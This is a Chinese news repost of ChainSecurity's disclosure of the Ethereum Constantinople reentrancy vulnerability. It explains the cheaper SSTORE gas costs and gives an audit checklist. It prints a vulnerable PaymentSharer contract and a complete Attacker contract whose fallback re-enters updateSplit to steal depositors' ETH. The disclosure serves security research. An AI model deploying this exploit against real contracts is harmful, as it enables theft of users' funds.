首页 矿业 正文

以太坊君士坦丁堡升级漏洞解析

2019-01-16 14:46:43 来源:巴比特资讯 作者:chainsecurity 阅读:5761 涉及币种: 以太坊
   
1月15日,ChainSecurity发布了一篇文章,披露了与以太坊君士坦丁堡硬分叉升级相关的漏洞,认为这种升级将会引入一种重入攻击。
1月15日,ChainSecurity发布了一篇文章,披露了与以太坊君士坦丁堡硬分叉升级相关的漏洞,认为这种升级将会引入一种重入攻击。这也导致了以太坊官方博客之后发布公告宣布决定推迟原本定于区块高度7080,000处(大约北京时间1月17日上午)实施的硬分叉。以下为ChainSecurity发布的关于这个漏洞的详细内容。

以太坊即将进行的君士坦丁堡(Constantinople)硬分叉升级将为某些SSTORE操作引入更便宜的gas成本。作为一个不必要的副作用,当使用Solidity编写的智能合约中的address.transfer(...) 或address.send(...)时,可以进行重入攻击。升级之前,这些函数被认为是可重入安全的,但升级后它们不再安全了。

这段代码有什么问题?

下面是一份简短的智能合约,它在君士坦丁堡之前不会受到重入攻击,但在君士坦丁堡之后就会受到攻击。

您可以在GitHub上找到完整的源代码,包括攻击者合约: https://github.com/ChainSecurity/constantinople-reentrancy

pragma solidity ^0.5.0;

contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second;

function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; }

function deposit(uint id) public payable { deposits[id] += msg.value; }

function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; }

function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split

// Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0;

a.transfer(depo * splits[id] / 100); b.transfer(depo * (100 - splits[id]) / 100); } }

最新易受攻击代码的一个示例。

这段代码以一种意想不到的方式受到攻击:它模拟了一个安全的金库共享服务。双方可以共同接收资金,决定如何分配资金,并在同意的情况下获得支付。攻击者将创建这样一对地址,其中第一个地址是下面列出的攻击者和,第二个地址是任何攻击者帐户。对于这一对地址,攻击者将存入一些钱。

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker { address private victim; address payable owner;

constructor() public { owner = msg.sender; }

function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); }

function () payable external { address x = victim; assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } }

function drain() external { owner.transfer(address(this).balance); } }

攻击者合约作为第一个地址

攻击者将在自己的合约上调用攻击函数,使以下事件在一笔交易中展开:

1.攻击者使用updateSplit设置当前的分裂,以确保以后的更新成本较低。这就是君士坦丁堡升级的效果。攻击者以这种方式设置分裂,他的第一个地址(合约)应该接收所有的资金。

2.攻击者合约调用splitFunds函数,该函数将执行检查*,并使用传输将这对地址的全部存款使用一笔转账发送到这个合约。

3.在回退函数中,攻击者再次更新分裂,这一次将所有资金分配给他的第二个帐户。

4.splitFunds的执行将继续,所有存款也将转移到第二个攻击者帐户。

简而言之,攻击者只是从PaymentSharer合约中窃取了其他人的ETH,并且可以继续这样做。

为什么现在可以攻击?

在君士坦丁堡升级之前,每一次存储操作至少要花费5000gas。这远远超过了当调用transfer send时发送的2300gas津贴。

在君士坦丁堡升级之后,更换“脏(dirty)”存储下标(slot)的存储操作只需花费200gas。要使slot变脏,必须在正在进行的交易期间对其进行更改。如上所示,攻击者通常可以通过调用一些公共函数来更改所需的变量来实现这一点。然后,通过使容易受攻击的合约调用攻击者合约,例如msg.sender.transfer(…),攻击者合约可以使用2300 gas津贴成功地操纵容易受攻击的变量。

要使合同易受损害,必须满足某些先决条件:

1.必须有一个函数A,在该函数中,一个transfer/send后面跟着一个状态更改操作。这有时是不明显的,例如一个二次transfer或与另一个智能合约的交互。

2.必须有一个函数B可以被攻击者访问, (a)改变状态,(b)其状态改变与函数A的状态发生冲突。

3.函数B需要在小于1600 gas的情况下执行(2300 gas津贴——700gas用于调用)

我的智能合约容易受攻击吗?

测试你的合约是否容易受攻击:

(a)检查在transfer事件之后是否有任何操作。 (b)检查这些操作是否更改了存储状态,通常是通过分配一些存储变量。如果您正在调用另一个合约,例如代币transfer方法,请检查修改了哪些变量。做一个列表。 (c)检查从非管理员处访问的其他方法是否使用这些变量之一。 (d)检查这些方法本身是否更改了存储状态 (e)检查方法是否低于2300gas,记住SSTORE操作可能只有200 gas。

如果你的情况符合以上所有这些,那么攻击者很可能会使您的合约进入一种你不希望的状态。总的来说,这再次提醒了为什么Check - Effects - Interaction模式如此重要。

是否存在易受攻击的智能合约?

利用eveem.org上的数据对以太坊主链进行扫描,并没有发现易受攻击的智能合同。我们正在与ethsecurity.org工作团队的成员合作,将扫描扩展到尚未反编译的复杂智能合约。特别是去中心化交易所,他们经常调用ETH转移功能到不可信的帐户,然后状态变化,可能是易受攻击的。我们的静态分析器 https://securify.chainsecurity.com能否检测到潜在的可重入攻击,并且我们已经在https://github.com/eth-sri/securify开源了相关的模式。请记住,重入攻击的警告在许多情况下是不可利用的,但需要仔细分析。

感谢

特别感谢拉尔夫·皮切勒(Ralph Pichler)对这一新的攻击向量的最初讨论。

如果没有Tomasz Kolinko使用符号执行对智能合约进行反编译的工作,我们就不可能对大多数以太坊智能合约进行快速扫描。一旦所有的合约都得到保护,我们就会开放这个项目的源代码。

声明:此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述。本网站所提供的信息,只供参考之用。

更多 矿机信息